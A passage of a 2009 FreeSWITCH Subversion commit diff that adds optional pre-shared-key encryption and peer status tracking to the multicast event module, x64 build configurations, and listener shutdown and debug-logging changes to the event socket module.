+				if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_PEERDOWN) == SWITCH_STATUS_SUCCESS) {
+					char lastseen[21];
+					switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", host);
+					switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)last->lastseen);
+					switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Lastseen", lastseen);
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Peer %s has gone down; last seen: %s\n", host, lastseen);
+
+					switch_event_fire(&local_event);
+				}
+			}
+		}
+	}
+
+	switch_mutex_lock(globals.mutex);
 	if (globals.event_list[(uint8_t) SWITCH_EVENT_ALL]) {
 		send = 1;
 	} else if ((globals.event_list[(uint8_t) event->event_id])) {
@@ -160,6 +277,7 @@
 			send = 1;
 		}
 	}
+	switch_mutex_unlock(globals.mutex);
 
 	if (send) {
 		char *packet;
@@ -170,11 +288,50 @@
 		default:
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Multicast-Sender", globals.hostname);
 			if (switch_event_serialize(event, &packet, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
-				size_t len = strlen(packet) + sizeof(globals.host_hash);
-				char *buf = malloc(len + 1);
+				size_t len;
+				char *buf;
+#ifdef HAVE_OPENSSL
+				int outlen, tmplen;
+				EVP_CIPHER_CTX ctx;
+				char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+				switch_uuid_t uuid;
+
+				switch_uuid_get(&uuid);
+				switch_uuid_format(uuid_str, &uuid);
+				len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char*)MAGIC);
+#else
+				len = strlen(packet) + sizeof(globals.host_hash) + strlen((char*) MAGIC);
+#endif
+				buf = malloc(len + 1);
+				memset(buf, 0, len + 1);
 				switch_assert(buf);
 				memcpy(buf, &globals.host_hash, sizeof(globals.host_hash));
-				switch_copy_string(buf + sizeof(globals.host_hash), packet, len - sizeof(globals.host_hash));
+
+#ifdef HAVE_OPENSSL
+				if (globals.psk) {
+					switch_copy_string(buf + sizeof(globals.host_hash), uuid_str, SWITCH_UUID_FORMATTED_LENGTH);
+
+					EVP_CIPHER_CTX_init(&ctx);
+					EVP_EncryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
+					EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
+					EVP_EncryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
+					EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
+							&outlen, (unsigned char*) packet, (int) strlen(packet));
+					EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
+							&tmplen, (unsigned char*) MAGIC, (int) strlen((char *) MAGIC));
+					outlen += tmplen;
+					EVP_EncryptFinal(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
+					outlen += tmplen;
+					len = (size_t) outlen + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH;
+					*(buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen) = '\0';
+				} else {
+#endif
+					switch_copy_string(buf + sizeof(globals.host_hash), packet, len - sizeof(globals.host_hash));
+					switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char*) MAGIC)+1);
+#ifdef HAVE_OPENSSL
+				}
+#endif
+
 				switch_socket_sendto(globals.udp_socket, globals.addr, 0, buf, &len);
 				switch_safe_free(packet);
 				switch_safe_free(buf);
@@ -185,16 +342,50 @@
 	return;
 }
 
+SWITCH_STANDARD_API(multicast_peers)
+{
+	switch_hash_index_t *cur;
+	switch_ssize_t keylen;
+	const void *key;
+	void *value;
+	time_t now = switch_epoch_time_now(NULL);
+	struct peer_status *last;
+	char *host;
+	int i = 0;
 
+	for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
+		switch_hash_this(cur, &key, &keylen, &value);
+		host = (char*) key;
+		last = (struct peer_status*) value;
+
+		stream->write_function(stream, "Peer %s %s; last seen %d seconds ago\n", host, last->active ? "UP" : "DOWN", now - last->lastseen);
+		i++;
+	}
+
+	if (i == 0) {
+		stream->write_function(stream, "No multicast peers seen\n");
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
 SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load)
 {
+	switch_api_interface_t *api_interface;
+	switch_ssize_t hlen = -1;
 
 	memset(&globals, 0, sizeof(globals));
 
+	switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, pool);
 	module_pool = pool;
 
 	switch_core_hash_init(&globals.event_hash, module_pool);
+	switch_core_hash_init(&globals.peer_hash, module_pool);
 
+	gethostname(globals.hostname, sizeof(globals.hostname));
+	globals.host_hash = switch_hashfunc_default(globals.hostname, &hlen);
+	globals.key_count = 0;
+
 	if (load_config() != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot Configure\n");
 		return SWITCH_STATUS_TERM;
@@ -222,6 +413,12 @@
 		return SWITCH_STATUS_TERM;
 	}
 
+	if (switch_mcast_hops(globals.udp_socket, globals.ttl) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set ttl to '%d'\n", globals.ttl);
+		switch_socket_close(globals.udp_socket);
+		return SWITCH_STATUS_TERM;
+	}
+
 	if (switch_socket_bind(globals.udp_socket, globals.addr) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Bind Error\n");
 		switch_socket_close(globals.udp_socket);
@@ -231,7 +428,21 @@
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
+	if (switch_event_reserve_subclass(MULTICAST_EVENT) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass %s!\n", MULTICAST_EVENT);
+		return SWITCH_STATUS_GENERR;
+	}
 
+	if (switch_event_reserve_subclass(MULTICAST_PEERUP) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass %s!\n", MULTICAST_PEERUP);
+		return SWITCH_STATUS_GENERR;
+	}
+
+	if (switch_event_reserve_subclass(MULTICAST_PEERDOWN) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass %s!\n", MULTICAST_PEERDOWN);
+		return SWITCH_STATUS_GENERR;
+	}
+
 	if (switch_event_bind(modname, SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
 		switch_socket_close(globals.udp_socket);
@@ -240,6 +451,9 @@
 
 	switch_socket_opt_set(globals.udp_socket, SWITCH_SO_NONBLOCK, TRUE);
 
+
+	SWITCH_ADD_API(api_interface, "multicast_peers", "Show status of multicast peers", multicast_peers, "");
+
 	/* indicate that the module should continue to be loaded */
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -264,16 +478,21 @@
 
 	switch_event_unbind(&globals.node);
 	switch_event_free_subclass(MULTICAST_EVENT);
+	switch_event_free_subclass(MULTICAST_PEERUP);
+	switch_event_free_subclass(MULTICAST_PEERDOWN);
 
 	switch_core_hash_destroy(&globals.event_hash);
 
+	switch_safe_free(globals.address);
+	switch_safe_free(globals.bindings);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
 SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
 {
 	switch_event_t *local_event;
-	char *buf;
+	char *buf, *m;
 	switch_sockaddr_t *addr;
 
 	buf = (char *) malloc(MULTICAST_BUFFSIZE);
@@ -306,7 +525,52 @@
 		if (host_hash == globals.host_hash) {
 			continue;
 		}
-		//switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet);
+#ifdef HAVE_OPENSSL
+		if (globals.psk) {
+			char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+			char *tmp;
+			int outl, tmplen;
+			EVP_CIPHER_CTX ctx;
+
+			len -= sizeof(host_hash) + SWITCH_UUID_FORMATTED_LENGTH;
+
+			tmp = malloc(len);
+
+			memset(tmp, 0, len);
+
+			switch_copy_string(uuid_str, packet, SWITCH_UUID_FORMATTED_LENGTH);
+			packet += SWITCH_UUID_FORMATTED_LENGTH;
+
+			EVP_CIPHER_CTX_init(&ctx);
+			EVP_DecryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
+			EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
+			EVP_DecryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
+			EVP_DecryptUpdate(&ctx, (unsigned char*) tmp,
+					&outl, (unsigned char*) packet, (int) len);
+			EVP_DecryptFinal(&ctx, (unsigned char*) tmp + outl, &tmplen);
+
+			*(tmp + outl + tmplen) = '\0';
+
+			/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp));*/
+			packet = tmp;
+
+		}
+#endif
+		if ((m = strchr(packet, (int) MAGIC[0])) != 0) {
+			/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n");*/
+			if (!strncmp((char*) MAGIC, m, strlen((char*) MAGIC))) {
+				/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n");*/
+				*m = '\0';
+			} else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Failed to find entire magic string\n");
+				continue;
+			}
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Failed to find start of magic string\n");
+			continue;
+		}
+
+		/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet);*/
 		if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_EVENT) == SWITCH_STATUS_SUCCESS) {
 			char *var, *val, *term = NULL, tmpname[128];
 			switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Multicast", "yes");
@@ -323,6 +587,7 @@
 							term++;
 						}
 					}
+					switch_url_decode(val);
 					switch_snprintf(tmpname, sizeof(tmpname), "Orig-%s", var);
 					switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, tmpname, val);
 					var = term + 1;

Property changes: freeswitch/branches/seven/src/mod/event_handlers/mod_event_socket


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_event_socket/mod_event_socket.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_event_socket/mod_event_socket.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_event_socket/mod_event_socket.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/event_handlers/mod_event_socket/mod_event_socket.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/event_handlers/mod_event_socket/mod_event_socket.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/event_handlers/mod_event_socket/mod_event_socket.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_event_socket.c -- Socket Controlled Event Handler
@@ -51,7 +51,9 @@
 	LFLAG_STATEFUL = (1 << 8),
 	LFLAG_OUTBOUND = (1 << 9),
 	LFLAG_LINGER = (1 << 10),
-	LFLAG_HANDLE_DISCO = (1 << 11)
+	LFLAG_HANDLE_DISCO = (1 << 11),
+	LFLAG_CONNECTED = (1 << 12),
+	LFLAG_RESUME = (1 << 13),
 } event_flag_t;
 
 typedef enum {
@@ -91,6 +93,7 @@
 static struct {
 	switch_mutex_t *listener_mutex;	
 	switch_event_node_t *node;
+	int debug;
 } globals;
 
 static struct {
@@ -112,10 +115,12 @@
 	char *acl[MAX_ACL];
 	uint32_t acl_count;
 	uint32_t id;
+	int nat_map;
 } prefs;
 
 
 static void remove_listener(listener_t *listener);
+static void kill_all_listeners(void);
 
 static uint32_t next_id(void)
 {
@@ -217,7 +222,7 @@
 	if (!listen_list.ready) {
 		return;
 	}
-
+	
 	lp = listen_list.listeners;
 
 	switch_mutex_lock(globals.listener_mutex);
@@ -231,8 +236,10 @@
 			continue;
 		}
 		
-		if (switch_test_flag(l, LFLAG_STATEFUL) && l->timeout && switch_timestamp(NULL) - l->last_flush > l->timeout) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Stateful Listener %u has expired\n", l->id);
+		if (switch_test_flag(l, LFLAG_STATEFUL) && l->timeout && switch_epoch_time_now(NULL) - l->last_flush > l->timeout) {
+			if (globals.debug > 0) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Stateful Listener %u has expired\n", l->id);
+			}
 			remove_listener(l);
 			expire_listener(&l);
 			continue;
@@ -253,7 +260,7 @@
 
 			send = 0;
 			switch_mutex_lock(l->filter_mutex);
-			for (hp = l->filters->headers; hp;  hp = hp->next) {
+			for (hp = l->filters->headers; hp; hp = hp->next) {
 				if ((hval = switch_event_get_header(event, hp->name))) {
 					const char *comp_to = hp->value;
 					int pos = 1, cmp = 0;
@@ -327,7 +334,6 @@
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error!\n");
 			}
 		}
-
 	}
 	switch_mutex_unlock(globals.listener_mutex);
 }
@@ -422,15 +428,31 @@
 		}
 	}
 
-	if (switch_test_flag(listener, LFLAG_ASYNC)) {
+	if (switch_test_flag(listener, LFLAG_ASYNC)) {		
+		const char *var;
+		
 		launch_listener_thread(listener);
+
+		while(switch_channel_ready(channel) && !switch_test_flag(listener, LFLAG_CONNECTED)) {
+			switch_cond_next();
+		}
+		
 		switch_ivr_park(session, NULL);
+
+		if (switch_core_session_private_event_count(session)) {
+			switch_ivr_parse_all_events(session);
+		}
+		
+		if (switch_test_flag(listener, LFLAG_RESUME) || ((var = switch_channel_get_variable(channel, "socket_resume")) && switch_true(var))) {
+			switch_channel_set_state(channel, CS_EXECUTE);
+		}
+
 		return;
 	} else {
 		listener_run(NULL, (void *) listener);
 	}
 
-	if (switch_channel_get_state(channel) >= CS_HANGUP) {
+	if (switch_channel_down(channel)) {
 		while (switch_test_flag(listener, LFLAG_SESSION)) {
 			switch_yield(100000);
 		}
@@ -452,32 +474,28 @@
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_event_socket_shutdown)
 {
-	listener_t *l;
 	int sanity = 0;
 
 	prefs.done = 1;
 
+	kill_all_listeners();
 	switch_log_unbind_logger(socket_logger);
 
 	close_socket(&listen_list.sock);
 
 	while (prefs.threads) {
-		switch_yield(10000);
-		if (++sanity == 1000) {
+		switch_yield(100000);
+		kill_all_listeners();
+		if (++sanity >= 200) {
 			break;
 		}
 	}
+
 	switch_event_unbind(&globals.node);
 
-	switch_mutex_lock(globals.listener_mutex);
-	for (l = listen_list.listeners; l; l = l->next) {
-		close_socket(&l->sock);
-	}
-	switch_mutex_unlock(globals.listener_mutex);
+	switch_safe_free(prefs.ip);
+	switch_safe_free(prefs.password);	
 
-	switch_yield(1000000);
-
-
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -509,6 +527,22 @@
 }
 
 
+static void kill_all_listeners(void)
+{
+	listener_t *l;
+
+	switch_mutex_lock(globals.listener_mutex);
+	for (l = listen_list.listeners; l; l = l->next) {
+		switch_clear_flag(l, LFLAG_RUNNING);
+		if (l->sock) {
+			switch_socket_shutdown(l->sock, SWITCH_SHUTDOWN_READWRITE);
+			switch_socket_close(l->sock);
+		}
+	}
+	switch_mutex_unlock(globals.listener_mutex);
+}
+
+
 static listener_t *find_listener(uint32_t id)
 {
 	listener_t *l, *r = NULL;
@@ -599,7 +633,7 @@
 
 		switch_mutex_lock(listener->filter_mutex);		
 		if (!listener->filters) {
-			switch_event_create(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
+			switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
 		}
 
 		if (!strcasecmp(action, "delete")) {
@@ -610,7 +644,7 @@
 
 			if (!strcasecmp(header_val, "all")) {
 				switch_event_destroy(&listener->filters);
-				switch_event_create(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
+				switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
 			} else {
 				switch_event_del_header(listener->filters, header_val);
 			}
@@ -718,7 +752,7 @@
 		switch_thread_rwlock_create(&listener->rwlock, listener->pool);
 		listener->id = next_id();
 		listener->timeout = 60;
-		listener->last_flush = switch_timestamp(NULL);
+		listener->last_flush = switch_epoch_time_now(NULL);
 		
 		if (events) {
 			char delim = ',';
@@ -780,8 +814,11 @@
 		stream->write_function(stream, " <reply type=\"success\">Listener %u Created</reply>\n", listener->id);
 		xmlize_listener(listener, stream);
 		stream->write_function(stream, "</data>\n");
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Creating event-sink listener [%u]\n", listener->id);
 
+		if (globals.debug > 0) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Creating event-sink listener [%u]\n", listener->id);
+		}
+		
 		goto end;
 	} else if (!strcasecmp(wcmd, "destroy-listener")) {		
 		char *id = switch_event_get_header(stream->param_event, "listen-id");
@@ -792,7 +829,9 @@
 		}
 
 		if ((listener = find_listener(idl))) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroying event-sink listener [%u]\n", idl);
+			if (globals.debug > 0) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroying event-sink listener [%u]\n", idl);
+			}
 			remove_listener(listener);
 			stream->write_function(stream, "<data>\n <reply type=\"success\">listener %u destroyed</reply>\n", listener->id);
 			xmlize_listener(listener, stream);
@@ -800,7 +839,9 @@
 			expire_listener(&listener);
 			goto end;
 		} else {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Request to destroy unknown event-sink listener [%u]\n", idl);
+			if (globals.debug > 0) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Request to destroy unknown event-sink listener [%u]\n", idl);
+			}
 			stream->write_function(stream, "<data><reply type=\"error\">Can't find listener</reply></data>\n");
 			goto end;
 		}
@@ -820,7 +861,7 @@
 			goto end;
 		}
 
-		listener->last_flush = switch_timestamp(NULL);
+		listener->last_flush = switch_epoch_time_now(NULL);
 		stream->write_function(stream, "<data>\n <reply type=\"success\">Current Events Follow</reply>\n");			
 		xmlize_listener(listener, stream);
 
@@ -894,7 +935,7 @@
 		char *api_command = switch_event_get_header(stream->param_event, "fsapi-command");
 		char *api_args = switch_event_get_header(stream->param_event, "fsapi-args");
 		switch_event_t *event, *oevent;
-
+		
 		if (!(api_command)) {
 			stream->write_function(stream, "<data><reply type=\"error\">INVALID API COMMAND!</reply></data>\n");
 			goto end;
@@ -904,6 +945,15 @@
 		switch_event_create(&event, SWITCH_EVENT_REQUEST_PARAMS);
 		oevent = stream->param_event;
 		stream->param_event = event;
+
+		if (!strcasecmp(api_command, "unload") && !strcasecmp(api_args, "mod_event_socket")) {
+			api_command = "bgapi";
+			api_args = "unload mod_event_socket";
+		} else if (!strcasecmp(api_command, "reload") && !strcasecmp(api_args, "mod_event_socket")) {
+			api_command = "bgapi";
+			api_args = "reload mod_event_socket";
+		}
+
 		switch_api_execute(api_command, api_args, NULL, stream);
 		stream->param_event = oevent;
 		stream->write_function(stream, " </api-command>\n</data>");
@@ -924,6 +974,8 @@
 	switch_application_interface_t *app_interface;
 	switch_api_interface_t *api_interface;
 
+	memset(&globals, 0, sizeof(globals));
+
 	switch_mutex_init(&globals.listener_mutex, SWITCH_MUTEX_NESTED, pool);
 
 	memset(&listen_list, 0, sizeof(listen_list));
@@ -961,12 +1013,16 @@
 	uint32_t max_len = sizeof(mbuf);
 	switch_channel_t *channel = NULL;
 	int clen = 0;
-	
+
 	*event = NULL;
-	start = switch_timestamp(NULL);
+
+	if (prefs.done) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	start = switch_epoch_time_now(NULL);
 	ptr = mbuf;
 
-
 	if (listener->session) {
 		channel = switch_core_session_get_channel(listener->session);
 	}
@@ -974,9 +1030,10 @@
 	while (listener->sock && !prefs.done) {
 		uint8_t do_sleep = 1;
 		mlen = 1;
+
 		status = switch_socket_recv(listener->sock, ptr, &mlen);
-
-		if (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS) {
+		
+		if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS)) {
 			return SWITCH_STATUS_FALSE;
 		}
 
@@ -1015,7 +1072,7 @@
 					count++;
 					if (count == 1) {
 						switch_event_create(event, SWITCH_EVENT_COMMAND);
-						switch_event_add_header(*event, SWITCH_STACK_BOTTOM, "Command", "%s", mbuf);
+						switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "Command", mbuf);
 					} else if (cur) {
 						char *var, *val;
 						var = cur;
@@ -1028,6 +1085,7 @@
 								}
 							}
 							if (var && val) {
+								switch_event_del_header(*event, var);
 								switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, var, val);
 								if (!strcasecmp(var, "content-length")) {
 									clen = atoi(val);
@@ -1044,7 +1102,7 @@
 											
 											status = switch_socket_recv(listener->sock, p, &mlen);
 
-											if (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS) {
+											if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS)) {
 												return SWITCH_STATUS_FALSE;
 											}
 											
@@ -1074,7 +1132,7 @@
 		}
 		
 		if (timeout) {
-			elapsed = (uint32_t) (switch_timestamp(NULL) - start);
+			elapsed = (uint32_t) (switch_epoch_time_now(NULL) - start);
 			if (elapsed >= timeout) {
 				switch_clear_flag_locked(listener, LFLAG_RUNNING);
 				return SWITCH_STATUS_FALSE;
@@ -1094,7 +1152,7 @@
 										"Text-Channel: %d\n"
 										"Log-File: %s\n"
 										"Log-Func: %s\n"
-										"Log->Line: %d\n"
+										"Log-Line: %d\n"
 										"\n",
 										strlen(dnode->data),
 										dnode->level,
@@ -1115,12 +1173,26 @@
 				}
 			}
 			
+
+			if (listener->session) {
+				switch_channel_t *chan = switch_core_session_get_channel(listener->session);
+				if (switch_channel_get_state(chan) < CS_HANGUP && switch_channel_test_flag(chan, CF_DIVERT_EVENTS)) {
+					switch_event_t *e = NULL;
+					while (switch_core_session_dequeue_event(listener->session, &e, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
+						if (switch_queue_trypush(listener->event_queue, e) != SWITCH_STATUS_SUCCESS) {
+							switch_core_session_queue_event(listener->session, &e);
+							break;
+						}
+					}
+				}
+			}
+
 			if (switch_test_flag(listener, LFLAG_EVENTS)) {
 				while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
 					char hbuf[512];
 					switch_event_t *pevent = (switch_event_t *) pop;
 					char *etype;
-
+					
 					do_sleep = 0;
 					if (listener->format == EVENT_FORMAT_PLAIN) {
 						etype = "plain";
@@ -1159,7 +1231,7 @@
 			}
 		}
 
-		if (channel && !switch_channel_ready(channel) && !switch_test_flag(listener, LFLAG_HANDLE_DISCO)) {
+		if (channel && switch_channel_down(channel) && !switch_test_flag(listener, LFLAG_HANDLE_DISCO)) {
 			switch_set_flag_locked(listener, LFLAG_HANDLE_DISCO);
 			if (switch_test_flag(listener, LFLAG_LINGER)) {
 				char message[128] = "";
@@ -1199,7 +1271,8 @@
 	char *arg;
 	listener_t *listener;
 	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
-	uint8_t bg;
+	int bg;
+	int ack;
 	switch_memory_pool_t *pool;
 };
 
@@ -1211,19 +1284,27 @@
 	char *reply, *freply = NULL;
 	switch_status_t status;
 
+	switch_mutex_lock(globals.listener_mutex);
+	prefs.threads++;
+	switch_mutex_unlock(globals.listener_mutex);
+
+	
 	if (!acs) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Internal error.\n");
-		return NULL;
+		goto cleanup;
 	}
 
